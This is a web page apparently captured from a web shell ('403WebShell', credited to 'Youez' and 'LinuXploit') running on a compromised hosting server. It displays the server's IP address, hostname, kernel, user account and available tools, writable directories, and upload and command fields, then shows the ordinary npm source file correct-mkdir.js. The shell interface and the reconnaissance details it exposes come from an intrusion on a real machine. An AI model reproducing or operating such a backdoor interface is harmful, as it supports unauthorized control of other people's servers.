Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.14.131.115
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/node_modules/npm/lib/utils/correct-mkdir.js
// XXX this can probably be replaced with gentle-fs.mkdir everywhere it's used
const chownr = require('chownr')
const inflight = require('inflight')
const log = require('npmlog')
const mkdirp = require('mkdirp')
const inferOwner = require('infer-owner')

// retain ownership of the parent dir
// this matches behavior in cacache to infer the cache ownership
// based on the ownership of the cache folder or it is parent.

module.exports = function correctMkdir (path, cb) {
  cb = inflight('correctMkdir: ' + path, cb)
  if (!cb) {
    return log.verbose('correctMkdir', path, 'correctMkdir already in flight; waiting')
  } else {
    log.verbose('correctMkdir', path, 'correctMkdir not in flight; initializing')
  }

  if (!process.getuid) {
    log.verbose('makeCacheDir', 'UID & GID are irrelevant on', process.platform)
    return mkdirp(path, (er, made) => cb(er, { uid: 0, gid: 0 }))
  }

  inferOwner(path).then(owner => {
    mkdirp(path, (er, made) => {
      if (er) {
        log.error('correctMkdir', 'failed to make directory %s', path)
        return cb(er)
      }
      chownr(made || path, owner.uid, owner.gid, (er) => cb(er, owner))
    })
  }, er => {
    log.error('correctMkdir', 'failed to infer path ownership %s', path)
    return cb(er)
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit